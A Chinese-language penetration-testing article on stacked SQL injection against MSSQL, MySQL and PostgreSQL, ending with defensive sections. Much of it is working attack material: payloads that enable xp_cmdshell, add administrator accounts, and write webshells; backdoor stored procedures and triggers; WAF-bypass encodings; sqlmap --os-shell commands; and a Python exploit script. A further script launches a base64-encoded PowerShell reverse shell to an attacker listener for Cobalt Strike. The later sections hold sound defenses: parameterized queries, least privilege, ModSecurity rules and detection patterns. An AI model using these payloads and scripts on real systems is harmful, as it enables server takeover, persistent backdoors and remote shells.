渗透测试中的堆叠注入：原理、利用与防御

堆叠注入：从原理到实战的深度剖析与防御体系构建

在Web应用安全领域，SQL注入始终是威胁等级最高的漏洞类型之一。而堆叠注入（Stacked Queries Injection）作为SQL注入中一种特殊且威力巨大的技术变体，其复杂性和潜在危害往往被许多开发者低估。与传统的联合查询注入或盲注不同，堆叠注入允许攻击者在一次数据库查询中执行多条SQL语句，这为后续的渗透测试和攻击行为打开了更广阔的操作空间。

我在多年的安全评估工作中发现，许多企业应用虽然对常规SQL注入做了防护，但对堆叠注入的防御却存在明显短板。这种技术不仅能够绕过部分WAF规则，还能在获取数据库权限后进一步执行系统命令、读取文件甚至获取服务器控制权。今天，我将从技术原理、实战利用、自动化工具和防御策略四个维度，深入剖析堆叠注入的完整攻击链。

1. 堆叠注入的技术原理与数据库差异

堆叠注入的核心在于利用数据库查询语句中的分号（;）分隔符，将多个SQL语句组合成单个查询请求。当应用程序未对用户输入进行充分过滤，且数据库配置允许执行多语句时，攻击者就能实现远超传统注入的攻击效果。

1.1 多语句执行机制

在标准SQL语法中，分号用于分隔不同的SQL语句。大多数数据库管理系统都支持在一次请求中执行多个语句，这是堆叠注入能够实现的技术基础。考虑以下简单的登录验证代码：

$username = $_POST['username'];
$password = $_POST['password'];
$sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($conn, $sql);

当攻击者输入admin'; DROP TABLE users; --作为用户名时，实际执行的SQL语句变为：

SELECT * FROM users WHERE username = 'admin'; DROP TABLE users; --' AND password = '任意密码'

这里的--是注释符，用于注释掉后续的SQL代码，确保语法正确。分号则分隔了原本的SELECT语句和新添加的DROP TABLE语句。

1.2 主流数据库的堆叠注入特性

不同数据库对堆叠注入的支持程度和语法细节存在差异，了解这些差异对渗透测试至关重要：

注意：MySQL的mysql_query()函数默认不支持多语句执行，但mysqli_multi_query()和PDO的某些配置下可以执行。实际测试中，需要根据具体的PHP扩展和配置判断。

1.3 堆叠注入与普通注入的关键区别

理解堆叠注入与传统注入的区别，有助于我们更准确地识别和利用这类漏洞：

1. 执行范围不同：普通注入通常只能影响当前查询的逻辑，而堆叠注入可以执行任意SQL语句，包括DDL（数据定义语言）和DCL（数据控制语言）操作。

2. 利用复杂度不同：堆叠注入允许攻击者创建存储过程、修改表结构、添加用户等高级操作，这些在普通注入中难以实现。

3. 检测难度不同：由于堆叠注入可以执行不返回结果的语句（如INSERT、UPDATE、DELETE），传统的基于返回内容的检测方法可能失效。

4. 危害程度不同：堆叠注入可能直接导致数据库结构破坏、权限提升甚至系统命令执行，危害等级通常更高。

2. 堆叠注入的实战利用场景

在实际渗透测试中，堆叠注入的利用方式远比理论复杂。下面我将通过几个典型场景，展示堆叠注入的实际应用。

2.1 数据库信息收集与权限提升

发现堆叠注入点后，第一步通常是收集数据库信息并尝试提升权限。以Microsoft SQL Server为例：

-- 获取数据库版本信息
admin'; SELECT @@version; --

-- 获取当前数据库用户
admin'; SELECT SYSTEM_USER; --

-- 检查是否为sysadmin角色
admin'; SELECT IS_SRVROLEMEMBER('sysadmin'); --

-- 如果当前用户有足够权限，启用xp_cmdshell
admin'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; --

在MySQL环境中，信息收集的方式有所不同：

-- 获取MySQL版本
admin'; SELECT @@version; --

-- 获取当前用户和权限
admin'; SELECT CURRENT_USER(); --
admin'; SELECT * FROM mysql.user WHERE user = CURRENT_USER(); --

-- 尝试读取系统文件（需要FILE权限）
admin'; SELECT LOAD_FILE('/etc/passwd'); --

2.2 文件系统操作与命令执行

当数据库配置允许时，堆叠注入可以成为进入操作系统的跳板。这在MSSQL中尤为常见：

-- 检查xp_cmdshell是否可用
admin'; EXEC xp_cmdshell 'whoami'; --

-- 如果返回NULL，可能需要先启用
admin'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; --

-- 执行系统命令
admin'; EXEC xp_cmdshell 'net user testuser Password123! /add'; --
admin'; EXEC xp_cmdshell 'net localgroup administrators testuser /add'; --

-- 创建Webshell
admin'; EXEC xp_cmdshell 'echo ^<^%^@ Page Language="C#" ^%^>^<^% Response.Write("Hello from shell"); ^%^> > C:\inetpub\wwwroot\shell.aspx'; --

对于PostgreSQL，可以利用COPY命令或大对象函数进行文件操作：

-- 读取服务器文件
admin'; CREATE TABLE temp(data text); COPY temp FROM '/etc/passwd'; SELECT * FROM temp; DROP TABLE temp; --

-- 写入文件（需要超级用户权限）
admin'; COPY (SELECT '^<?php @eval($_POST[cmd]); ?^>') TO '/var/www/html/shell.php'; --

2.3 数据库持久化与后门植入

高级攻击者不会满足于一次性访问，他们会在数据库中植入持久化后门：

-- 创建存储过程作为后门
admin'; 
CREATE PROCEDURE sp_backdoor
    @cmd NVARCHAR(4000)
AS
BEGIN
    EXEC xp_cmdshell @cmd;
END;
--

-- 创建触发器，在特定操作时执行
admin';
CREATE TRIGGER backdoor_trigger
ON users
AFTER INSERT
AS
BEGIN
    EXEC xp_cmdshell 'powershell -enc [base64编码的命令]';
END;
--

-- 修改现有存储过程
admin';
ALTER PROCEDURE sp_GetUserData
    @userId INT
AS
BEGIN
    -- 原始逻辑
    SELECT * FROM users WHERE id = @userId;
    
    -- 隐藏的后门逻辑
    EXEC xp_cmdshell 'nslookup [攻击者域名]';
END;
--

2.4 绕过防御机制的技巧

现代WAF和输入过滤机制越来越完善，但堆叠注入仍有多种绕过方式：

编码绕过示例：

-- 使用CHAR函数构造字符串
admin'; EXEC xp_cmdshell CHAR(119,104,111,97,109,105); --

-- 十六进制编码
admin'; EXEC xp_cmdshell 0x77686F616D69; --

-- 注释分割
admin'/**/;/**/EXEC/**/xp_cmdshell/**/'whoami';/**/--

大小写混合与空白符变异：

AdMiN';eXeC xP_cMdShElL 'wHoAmI'; --
admin';EXEC xp_cmdshell'whoami';--

使用动态SQL：

admin'; DECLARE @cmd NVARCHAR(4000); SET @cmd = N'EXEC xp_cmdshell ''whoami'''; EXEC(@cmd); --

3. 自动化工具在堆叠注入中的应用

手工测试堆叠注入虽然灵活，但效率较低。在实际渗透测试中，我们通常结合自动化工具提高效率。这里重点分析sqlmap在堆叠注入检测和利用中的高级用法。

3.1 sqlmap堆叠注入检测原理

sqlmap通过--technique=S参数指定使用堆叠注入技术。其检测逻辑主要基于以下步骤：

1. 基础检测：发送包含分号和多语句的payload，观察响应差异
2. 时间盲注验证：使用WAITFOR DELAY或SLEEP()函数验证注入点
3. 错误回显分析：通过故意构造语法错误，分析数据库错误信息
4. 布尔盲注确认：使用条件语句验证注入是否成功

典型的sqlmap检测命令：

# 基础检测
sqlmap -u "http://target.com/login.php" --data="username=admin&password=test" --technique=S --dbms=mssql

# 使用时间盲注验证
sqlmap -u "http://target.com/login.php" --data="username=admin&password=test" --technique=S --time-sec=5

# 获取数据库信息
sqlmap -u "http://target.com/login.php" --data="username=admin&password=test" --technique=S --dbs

# 尝试执行操作系统命令
sqlmap -u "http://target.com/login.php" --data="username=admin&password=test" --technique=S --os-shell

3.2 sqlmap高级参数与堆叠注入利用

sqlmap提供了丰富的参数来优化堆叠注入的检测和利用过程：

# 指定堆叠注入技术并设置高级选项
sqlmap -u "http://target.com/vuln.php?id=1" \
  --technique=S \
  --level=5 \
  --risk=3 \
  --batch \
  --random-agent \
  --tamper=space2comment \
  --flush-session

# 使用代理和延迟避免触发WAF
sqlmap -u "http://target.com/vuln.php?id=1" \
  --technique=S \
  --proxy="http://127.0.0.1:8080" \
  --delay=2 \
  --timeout=30

# 自定义堆叠注入payload
sqlmap -u "http://target.com/vuln.php?id=1" \
  --technique=S \
  --prefix="';" \
  --suffix="-- -" \
  --tamper=between,charencode

3.3 堆叠注入的自动化利用框架

对于复杂的堆叠注入场景，我通常会编写自定义脚本，结合sqlmap的API功能：

#!/usr/bin/env python3
"""
堆叠注入自动化利用脚本
支持MSSQL的xp_cmdshell利用
"""

import requests
import time
import base64
import subprocess
from urllib.parse import quote

class StackedInjectionExploit:
    def __init__(self, target_url, param_name, injection_point):
        self.target_url = target_url
        self.param_name = param_name
        self.injection_point = injection_point
        self.session = requests.Session()
        
    def test_injection(self, payload):
        """测试注入点是否可用"""
        test_payload = f"'; {payload} -- "
        data = {self.param_name: self.injection_point + test_payload}
        
        try:
            response = self.session.post(self.target_url, data=data, timeout=10)
            return True
        except Exception as e:
            print(f"请求失败: {e}")
            return False
    
    def enable_xp_cmdshell(self):
        """启用xp_cmdshell（MSSQL专用）"""
        enable_commands = [
            "EXEC sp_configure 'show advanced options', 1; RECONFIGURE;",
            "EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;"
        ]
        
        for cmd in enable_commands:
            payload = f"'; {cmd} -- "
            data = {self.param_name: self.injection_point + payload}
            self.session.post(self.target_url, data=data)
            time.sleep(1)
        
        # 验证是否启用成功
        test_payload = "'; EXEC xp_cmdshell 'echo test' -- "
        data = {self.param_name: self.injection_point + test_payload}
        response = self.session.post(self.target_url, data=data)
        
        return "test" in response.text
    
    def execute_command(self, command):
        """通过xp_cmdshell执行系统命令"""
        # 对命令进行编码，避免特殊字符问题
        encoded_cmd = quote(command)
        payload = f"'; EXEC xp_cmdshell '{encoded_cmd}' -- "
        
        data = {self.param_name: self.injection_point + payload}
        response = self.session.post(self.target_url, data=data)
        
        return response.text
    
    def upload_file(self, local_path, remote_path):
        """通过certutil上传文件（Windows）"""
        # 将文件转换为base64
        with open(local_path, 'rb') as f:
            file_content = f.read()
        
        b64_content = base64.b64encode(file_content).decode('utf-8')
        
        # 分块传输base64内容
        chunk_size = 2000  # 避免命令过长
        chunks = [b64_content[i:i+chunk_size] for i in range(0, len(b64_content), chunk_size)]
        
        # 创建临时文件并写入base64内容
        temp_b64 = f"{remote_path}.b64"
        for i, chunk in enumerate(chunks):
            cmd = f"echo {chunk} >> {temp_b64}"
            self.execute_command(cmd)
        
        # 使用certutil解码
        decode_cmd = f"certutil -decode {temp_b64} {remote_path}"
        result = self.execute_command(decode_cmd)
        
        # 清理临时文件
        self.execute_command(f"del {temp_b64}")
        
        return result

# 使用示例
if __name__ == "__main__":
    exploit = StackedInjectionExploit(
        target_url="http://target.com/login.php",
        param_name="username",
        injection_point="admin"
    )
    
    if exploit.test_injection("SELECT @@version"):
        print("[+] 堆叠注入点确认")
        
        if exploit.enable_xp_cmdshell():
            print("[+] xp_cmdshell启用成功")
            
            # 执行系统命令
            result = exploit.execute_command("whoami")
            print(f"[+] 当前用户: {result}")
            
            # 上传文件示例
            # exploit.upload_file("shell.aspx", "C:\\inetpub\\wwwroot\\shell.aspx")
        else:
            print("[-] xp_cmdshell启用失败")
    else:
        print("[-] 注入点测试失败")

3.4 结合Cobalt Strike的自动化攻击链

在红队评估中，堆叠注入常作为初始入口点，结合Cobalt Strike（CS）实现自动化攻击链：

#!/usr/bin/env python3
"""
堆叠注入与Cobalt Strike联动脚本
"""

import requests
import base64
import time

class CSStackedInjection:
    def __init__(self, target_url, cs_listener):
        self.target_url = target_url
        self.cs_listener = cs_listener
        self.payload = self.generate_cs_payload()
        
    def generate_cs_payload(self):
        """生成Cobalt Strike的PowerShell payload"""
        # 这里使用base64编码的PowerShell加载器
        # 实际使用时应替换为真实的CS生成的payload
        ps_payload = """
        $client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',ATTACKER_PORT);
        $stream = $client.GetStream();
        [byte[]]$bytes = 0..65535|%{0};
        while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
            $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
            $sendback = (iex $data 2>&1 | Out-String );
            $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
            $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
            $stream.Write($sendbyte,0,$sendbyte.Length);
            $stream.Flush();
        }
        $client.Close();
        """
        
        # 替换实际IP和端口
        ps_payload = ps_payload.replace('ATTACKER_IP', self.cs_listener['ip'])
        ps_payload = ps_payload.replace('ATTACKER_PORT', str(self.cs_listener['port']))
        
        # 转换为base64
        encoded_payload = base64.b64encode(ps_payload.encode('utf-16le')).decode()
        return f"powershell -nop -w hidden -e {encoded_payload}"
    
    def execute_via_stack_injection(self, sql_injection_point):
        """通过堆叠注入执行CS payload"""
        # 启用xp_cmdshell
        enable_cmds = [
            "EXEC sp_configure 'show advanced options', 1; RECONFIGURE;",
            "EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;"
        ]
        
        for cmd in enable_cmds:
            injection = f"{sql_injection_point}'; {cmd} -- "
            self.send_injection(injection)
            time.sleep(1)
        
        # 执行CS payload
        injection = f"{sql_injection_point}'; EXEC xp_cmdshell '{self.payload}' -- "
        return self.send_injection(injection)
    
    def send_injection(self, injection_payload):
        """发送注入payload"""
        # 这里需要根据实际目标调整请求参数
        data = {
            'username': injection_payload,
            'password': 'test'
        }
        
        try:
            response = requests.post(self.target_url, data=data, timeout=30)
            return response.status_code == 200
        except Exception as e:
            print(f"请求失败: {e}")
            return False

# 配置示例
cs_config = {
    'ip': '192.168.1.100',
    'port': 4444
}

exploit = CSStackedInjection(
    target_url="http://vulnerable-site.com/login.php",
    cs_listener=cs_config
)

# 执行攻击
success = exploit.execute_via_stack_injection("admin")
if success:
    print("[+] CS payload执行成功，检查监听器")
else:
    print("[-] 执行失败")

4. 堆叠注入的防御策略与实践

防御堆叠注入需要从多个层面构建纵深防御体系，单一措施往往难以完全防护。

4.1 输入验证与参数化查询

参数化查询是防御SQL注入最有效的手段，但需要注意正确使用：

# 错误的参数化查询示例（仍然可能被注入）
cursor.execute("SELECT * FROM users WHERE username = '%s'" % username)

# 正确的参数化查询（Python示例）
import pymysql

def safe_query(username, password):
    connection = pymysql.connect(
        host='localhost',
        user='db_user',
        password='db_password',
        database='app_db'
    )
    
    try:
        with connection.cursor() as cursor:
            # 使用参数化查询
            sql = "SELECT * FROM users WHERE username = %s AND password = %s"
            cursor.execute(sql, (username, password))
            result = cursor.fetchone()
            return result
    finally:
        connection.close()

# 对于存储过程，同样需要使用参数化调用
def call_safe_procedure(user_id):
    connection = pymysql.connect(...)
    try:
        with connection.cursor() as cursor:
            sql = "CALL GetUserData(%s)"
            cursor.execute(sql, (user_id,))
            result = cursor.fetchall()
            return result
    finally:
        connection.close()

4.2 最小权限原则与数据库加固

数据库账户应该遵循最小权限原则，避免使用高权限账户连接应用：

-- 创建专用应用账户，仅授予必要权限
CREATE LOGIN app_user WITH PASSWORD = 'StrongPassword123!';
CREATE USER app_user FOR LOGIN app_user;

-- 仅授予必要的数据库权限
GRANT SELECT, INSERT, UPDATE ON dbo.Users TO app_user;
GRANT EXECUTE ON dbo.GetUserData TO app_user;

-- 明确拒绝危险权限
DENY ALTER ANY DATABASE TO app_user;
DENY CREATE PROCEDURE TO app_user;
DENY EXECUTE ON xp_cmdshell TO app_user;
DENY EXECUTE ON sp_configure TO app_user;

-- 对于MSSQL，禁用危险存储过程
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 0;
RECONFIGURE;
EXEC sp_configure 'Ole Automation Procedures', 0;
RECONFIGURE;
EXEC sp_configure 'show advanced options', 0;
RECONFIGURE;

4.3 WAF规则与输入过滤

虽然WAF不能替代安全编码，但可以作为有效的补充防护层：

# Nginx + ModSecurity WAF配置示例
location / {
    # 启用ModSecurity
    ModSecurityEnabled on;
    ModSecurityConfig /etc/nginx/modsecurity/modsecurity.conf;
    
    # 自定义SQL注入防护规则
    SecRule ARGS_NAMES "@rx [;'"\-\-]" \
        "id:1001,phase:2,deny,status:403,msg:'SQL Injection attempt detected',\
        tag:'OWASP_CRS/WEB_ATTACK/SQL_INJECTION'"
    
    # 检测堆叠注入特征
    SecRule ARGS "@rx \b(EXEC|EXECUTE|xp_cmdshell|sp_configure)\b" \
        "id:1002,phase:2,deny,status:403,msg:'Dangerous SQL function detected',\
        tag:'OWASP_CRS/WEB_ATTACK/SQL_INJECTION'"
    
    # 检测多语句特征
    SecRule ARGS "@rx ;\s*(SELECT|INSERT|UPDATE|DELETE|CREATE|DROP|ALTER)" \
        "id:1003,phase:2,deny,status:403,msg:'Stacked query detected',\
        tag:'OWASP_CRS/WEB_ATTACK/SQL_INJECTION'"
}

# Apache ModSecurity规则示例
SecRule REQUEST_COOKIES|REQUEST_COOKIES_NAMES|REQUEST_FILENAME|ARGS_NAMES|ARGS|XML:/* \
    "@rx (?i:(?:[\s'\"`\(\),;]|^)(?:[\d\w]+)(?:[\s'\"`\(\),;]|union|and|or)(?:[\s'\"`\(\),;]|select|insert|update|delete|create|drop|alter))" \
    "phase:2,deny,id:1004,msg:'SQL Injection Attempt',tag:'OWASP_CRS/WEB_ATTACK/SQL_INJECTION'"

4.4 应用层防御与安全编码实践

在应用层实施深度防御：

// Java中的防御示例
import java.sql.*;
import java.util.regex.Pattern;

public class SafeDatabaseHandler {
    private static final Pattern SQL_INJECTION_PATTERN = 
        Pattern.compile("(?i)(\\b(EXEC|EXECUTE|xp_cmdshell|sp_configure|UNION|SELECT.*FROM|INSERT\\s+INTO|UPDATE|DELETE\\s+FROM)\\b|;\\s*\\b(SELECT|INSERT|UPDATE|DELETE|CREATE|DROP|ALTER)\\b)");
    
    public static boolean validateInput(String input) {
        // 检查是否包含危险SQL关键字
        if (SQL_INJECTION_PATTERN.matcher(input).find()) {
            return false;
        }
        
        // 检查是否包含分号（堆叠注入特征）
        if (input.contains(";")) {
            return false;
        }
        
        // 长度限制
        if (input.length() > 100) {
            return false;
        }
        
        return true;
    }
    
    public static User authenticate(String username, String password) {
        if (!validateInput(username) || !validateInput(password)) {
            throw new SecurityException("Invalid input detected");
        }
        
        String sql = "SELECT * FROM users WHERE username = ? AND password = ?";
        
        try (Connection conn = DriverManager.getConnection(DB_URL, DB_USER, DB_PASS);
             PreparedStatement stmt = conn.prepareStatement(sql)) {
            
            stmt.setString(1, username);
            stmt.setString(2, password);
            
            ResultSet rs = stmt.executeQuery();
            
            if (rs.next()) {
                return new User(rs.getString("username"), rs.getString("email"));
            }
            
            return null;
            
        } catch (SQLException e) {
            // 记录日志但不暴露详细信息
            logger.error("Database error during authentication");
            return null;
        }
    }
}

// 使用存储过程并严格验证输入
public class StoredProcedureHandler {
    public static CallableStatement createSafeProcedureCall(
            Connection conn, String procedureName, Object... params) throws SQLException {
        
        StringBuilder callBuilder = new StringBuilder("{call ");
        callBuilder.append(procedureName).append("(");
        
        for (int i = 0; i < params.length; i++) {
            callBuilder.append("?");
            if (i < params.length - 1) {
                callBuilder.append(",");
            }
        }
        callBuilder.append(")}");
        
        CallableStatement stmt = conn.prepareCall(callBuilder.toString());
        
        for (int i = 0; i < params.length; i++) {
            stmt.setObject(i + 1, params[i]);
        }
        
        return stmt;
    }
}

4.5 数据库审计与监控

实施全面的数据库审计，及时发现异常行为：

-- MSSQL 审计配置
USE master;
GO

-- 创建服务器审计
CREATE SERVER AUDIT StackedInjection_Audit
TO FILE (FILEPATH = 'C:\Audits\', MAXSIZE = 1 GB)
WITH (QUEUE_DELAY = 1000, ON_FAILURE = CONTINUE);
GO

-- 启用审计
ALTER SERVER AUDIT StackedInjection_Audit WITH (STATE = ON);
GO

-- 创建数据库审计规范
CREATE DATABASE AUDIT SPECIFICATION StackedInjection_Spec
FOR SERVER AUDIT StackedInjection_Audit
ADD (EXECUTE ON DATABASE::AppDB BY PUBLIC),
ADD (SELECT ON DATABASE::AppDB BY PUBLIC),
ADD (INSERT ON DATABASE::AppDB BY PUBLIC),
ADD (UPDATE ON DATABASE::AppDB BY PUBLIC),
ADD (DELETE ON DATABASE::AppDB BY PUBLIC)
WITH (STATE = ON);
GO

-- 创建自定义审计规则检测堆叠注入
CREATE DATABASE AUDIT SPECIFICATION StackedInjection_Detection
FOR SERVER AUDIT StackedInjection_Audit
ADD (EXECUTE ON OBJECT::xp_cmdshell BY PUBLIC),
ADD (EXECUTE ON OBJECT::sp_configure BY PUBLIC),
ADD (SCHEMA_OBJECT_CHANGE_GROUP),
ADD (DATABASE_OBJECT_CHANGE_GROUP)
WITH (STATE = ON);
GO

-- MySQL 审计配置示例
INSTALL PLUGIN audit_log SONAME 'audit_log.so';

SET GLOBAL audit_log_format = 'JSON';
SET GLOBAL audit_log_policy = 'ALL';
SET GLOBAL audit_log_rotate_on_size = 100000000;
SET GLOBAL audit_log_rotations = 10;

-- 创建触发器监控可疑查询
DELIMITER //
CREATE TRIGGER detect_stack_injection
AFTER UPDATE ON users FOR EACH ROW
BEGIN
    DECLARE query_text TEXT;
    SET query_text = (SELECT INFO FROM INFORMATION_SCHEMA.PROCESSLIST 
                      WHERE ID = CONNECTION_ID());
    
    IF query_text LIKE '%;%' AND 
       (query_text LIKE '%xp_cmdshell%' OR 
        query_text LIKE '%sp_configure%' OR
        query_text LIKE '%; SELECT%' OR
        query_text LIKE '%; INSERT%' OR
        query_text LIKE '%; UPDATE%' OR
        query_text LIKE '%; DELETE%' OR
        query_text LIKE '%; CREATE%' OR
        query_text LIKE '%; DROP%' OR
        query_text LIKE '%; ALTER%') THEN
        
        INSERT INTO security_events (event_type, query_text, user_host, timestamp)
        VALUES ('SUSPECTED_STACK_INJECTION', query_text, USER(), NOW());
        
        -- 可选：发送警报或阻止查询
        -- SIGNAL SQLSTATE '45000' SET MESSAGE_TEXT = 'Suspicious query blocked';
    END IF;
END//
DELIMITER ;

4.6 定期安全评估与渗透测试

建立持续的安全评估机制：

#!/usr/bin/env python3
"""
堆叠注入自动化检测脚本
用于定期安全评估
"""

import requests
import time
import json
from concurrent.futures import ThreadPoolExecutor

class StackedInjectionScanner:
    def __init__(self, target_endpoints):
        self.targets = target_endpoints
        self.results = []
        self.payloads = self.load_payloads()
    
    def load_payloads(self):
        """加载堆叠注入测试payload"""
        return [
            # 基础堆叠注入测试
            {"name": "Basic Semicolon", "payload": "'; SELECT 1; --"},
            {"name": "MSSQL xp_cmdshell", "payload": "'; EXEC xp_cmdshell 'echo test'; --"},
            {"name": "MySQL Sleep", "payload": "'; SELECT SLEEP(5); --"},
            {"name": "PostgreSQL COPY", "payload": "'; CREATE TABLE test(data text); COPY test FROM '/etc/passwd'; --"},
            {"name": "Comment Variation", "payload": "';/**/SELECT/**/1;/**/--"},
            {"name": "URL Encoded", "payload": "%27%3B%20SELECT%201%3B%20--"},
            {"name": "Unicode Bypass", "payload": "'%EF%BC%9B SELECT 1%EF%BC%9B --"},
        ]
    
    def test_endpoint(self, endpoint):
        """测试单个端点"""
        result = {
            "url": endpoint["url"],
            "method": endpoint.get("method", "POST"),
            "parameters": endpoint.get("params", {}),
            "vulnerable": False,
            "payloads": []
        }
        
        for payload_info in self.payloads:
            test_params = endpoint["params"].copy()
            
            # 对每个参数注入payload
            for param_name in test_params:
                original_value = test_params[param_name]
                test_params[param_name] = original_value + payload_info["payload"]
                
                try:
                    start_time = time.time()
                    
                    if endpoint["method"].upper() == "POST":
                        response = requests.post(
                            endpoint["url"], 
                            data=test_params,
                            timeout=10
                        )
                    else:
                        response = requests.get(
                            endpoint["url"],
                            params=test_params,
                            timeout=10
                        )
                    
                    elapsed_time = time.time() - start_time
                    
                    # 检测逻辑
                    is_vulnerable = self.detect_vulnerability(
                        response, 
                        payload_info, 
                        elapsed_time
                    )
                    
                    if is_vulnerable:
                        result["vulnerable"] = True
                        result["payloads"].append({
                            "name": payload_info["name"],
                            "payload": payload_info["payload"],
                            "parameter": param_name,
                            "response_time": elapsed_time,
                            "status_code": response.status_code
                        })
                        
                except Exception as e:
                    print(f"测试 {endpoint['url']} 时出错: {e}")
                
                finally:
                    # 恢复原始参数值
                    test_params[param_name] = original_value
        
        return result
    
    def detect_vulnerability(self, response, payload_info, elapsed_time):
        """检测是否可能存在漏洞"""
        detection_methods = []
        
        # 1. 时间盲注检测
        if "SLEEP" in payload_info["payload"] or "WAITFOR" in payload_info["payload"]:
            if elapsed_time > 4:  # 如果响应时间明显延长
                detection_methods.append("TIME_BASED")
        
        # 2. 错误信息检测
        error_indicators = [
            "SQL syntax",
            "mysql_fetch",
            "mysqli_fetch",
            "PostgreSQL",
            "SQL Server",
            "ODBC",
            "ORA-",
            "Microsoft OLE DB"
        ]
        
        for indicator in error_indicators:
            if indicator.lower() in response.text.lower():
                detection_methods.append("ERROR_BASED")
                break
        
        # 3. 布尔盲注检测（需要基准响应对比）
        # 这里简化处理，实际需要更复杂的逻辑
        
        return len(detection_methods) > 0
    
    def scan(self, max_workers=5):
        """并发扫描所有端点"""
        with ThreadPoolExecutor(max_workers=max_workers) as executor:
            futures = []
            for endpoint in self.targets:
                future = executor.submit(self.test_endpoint, endpoint)
                futures.append(future)
            
            for future in futures:
                result = future.result()
                self.results.append(result)
                
                if result["vulnerable"]:
                    print(f"[!] 发现漏洞: {result['url']}")
                    for p in result["payloads"]:
                        print(f"    - {p['name']} via {p['parameter']}")
        
        return self.results
    
    def generate_report(self):
        """生成扫描报告"""
        report = {
            "scan_date": time.strftime("%Y-%m-%d %H:%M:%S"),
            "total_endpoints": len(self.targets),
            "vulnerable_endpoints": sum(1 for r in self.results if r["vulnerable"]),
            "details": self.results
        }
        
        with open("stacked_injection_scan_report.json", "w") as f:
            json.dump(report, f, indent=2, ensure_ascii=False)
        
        return report

# 使用示例
if __name__ == "__main__":
    endpoints = [
        {
            "url": "http://test.com/login.php",
            "method": "POST",
            "params": {"username": "test", "password": "test"}
        },
        {
            "url": "http://test.com/search.php",
            "method": "GET",
            "params": {"query": "test", "category": "1"}
        }
    ]
    
    scanner = StackedInjectionScanner(endpoints)
    results = scanner.scan()
    report = scanner.generate_report()
    
    print(f"扫描完成。共检查 {report['total_endpoints']} 个端点，发现 {report['vulnerable_endpoints']} 个潜在漏洞。")

4.7 应急响应与修复流程

当发现堆叠注入漏洞时，应按照以下流程处理：

1. 立即隔离：暂时关闭受影响的功能或接口
2. 日志分析：检查数据库和Web服务器日志，确定攻击范围
3. 漏洞修复：
   • 立即修复代码，使用参数化查询
   • 审查所有数据库账户权限
   • 更新WAF规则
4. 后门排查：检查数据库中是否被植入后门存储过程或触发器
5. 安全加固：
   • 更新数据库安全配置
   • 实施网络层防护
   • 加强输入验证
6. 监控加强：增加对异常查询的监控和告警

堆叠注入的防御不是一次性工作，而是需要持续维护的过程。每个季度至少进行一次全面的代码审计和安全测试，确保防御措施的有效性。在实际项目中，我见过太多因为忽视"小漏洞"而导致重大安全事件的案例，堆叠注入正是那种看似不起眼但危害巨大的漏洞类型。